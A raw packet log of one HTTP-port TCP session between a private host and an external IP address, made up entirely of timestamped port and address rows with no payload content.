Jan 11, 2025 02:16:29.035754919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.035768032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.035792112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.035820007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.035839081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.055008888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055080891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055083036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.055119038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055154085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055165052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.055188894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055223942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055238008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.055279016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055329084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.055341005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055385113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055428028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.055434942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055469036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055501938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055515051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.055552959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055587053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055599928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.055619955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055654049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055660963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.055690050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055737972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.055814981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055865049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055897951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055910110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.055932999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.055977106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.056054115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.056122065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.056169033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.056328058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.056360960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.056395054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.056410074 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.056499004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.056531906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.056549072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.056565046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.056600094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.056628942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.056632996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.056665897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.056679964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.056905031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.056955099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.057008982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.057043076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.057090044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.057182074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.057215929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.057249069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.057260990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.057284117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.057328939 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.057547092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.057583094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.057615995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.057629108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.057651043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.057687044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.057696104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.057847977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.057900906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.058007956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.058048010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.058098078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.058171034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.058202982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.058237076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.058247089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.058271885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.058315992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.058496952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.058531046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.058563948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.058578014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.058604002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.058639050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.058649063 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.058898926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.058933973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.058948040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.058969975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.059027910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.059055090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.059106112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.059137106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.059150934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.059153080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.059206963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.059437990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.059453964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.059468985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.059484005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.059494019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.059501886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.059529066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.059766054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.059811115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.059844971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.059915066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.059927940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.059953928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.062926054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.079269886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.079303980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.079344988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.079356909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.079391956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.079406977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.121716022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.121779919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.121784925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.121814013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.121849060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.121860981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.121884108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.121929884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.121953011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.121987104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.122019053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.122031927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.122054100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.122102022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.122106075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.122136116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.122188091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.141019106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.141045094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.141057014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.141067982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.141078949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.141088009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.141092062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.141122103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.141155005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.164343119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.164381027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.164393902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.164510012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.164522886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.164534092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.164544106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.164544106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.164571047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.164628983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.164674997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.164724112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.164783955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.164798021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.164834976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.183832884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.183862925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.183875084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.183886051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.183897972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.183909893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.183911085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.183923960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.183928967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.183984041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.184011936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.184024096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.184035063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.184053898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.184086084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.184207916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.184237957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.184287071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.184346914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.184431076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.184464931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.184484959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.184498072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.184549093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.184669971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.184703112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.184747934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.184832096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.184880972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.184969902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.184993029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.185002089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185036898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185050964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.185071945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185117960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.185270071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185302973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185338020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185355902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.185403109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185447931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.185453892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185487032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185519934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185529947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.185729980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185762882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185781002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.185795069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185836077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185842037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.185873032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.185916901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.186131954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.186288118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.186323881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.186345100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.186405897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.186451912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.186458111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.186491013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.186523914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.186536074 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.186557055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.186602116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.186754942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.186769009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.186783075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.186796904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.186811924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.187036991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.187060118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.187114954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.187125921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.187163115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.187259912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.187278032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.187289953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.187300920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.187324047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.187364101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.187549114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.187561035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.187577963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.187587023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.187589884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.187602997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.187618017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.187654972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.188103914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.188116074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.188126087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.188160896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.188256025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.188267946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.188277960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.188291073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.188297033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.188324928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.188627005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.188637972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.188648939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.188659906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.188668013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.188672066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.188688993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.188714981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.189049959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.189060926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.189073086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.189099073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.189176083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.189188004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.189198017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.189215899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.189241886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.189337969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.189351082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.189388037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.189460993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.189472914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.189482927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.189493895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.189512014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.189532042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.189975977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.189995050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.190035105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.191328049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.197693110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.207881927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.207899094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.207911968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.207952023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.208039999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.208051920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.208070993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.208081961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.208092928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.208092928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.208112955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.208138943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.220123053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.227153063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.227171898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.227190971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.227201939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.227216005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.227226973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.227241993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.227344036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.227356911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.227366924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.227389097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.227400064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.227992058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.250490904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.250509024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.250528097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.250540018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.250550985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.250562906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.250565052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.250576019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.250597000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.250636101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.250772953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.250785112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.250823021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.250894070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.250905991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.250942945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.251020908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.251032114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.251039028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.251044989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.251112938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.270219088 CET	80	49699	193.143.1.205	192.168.2.7
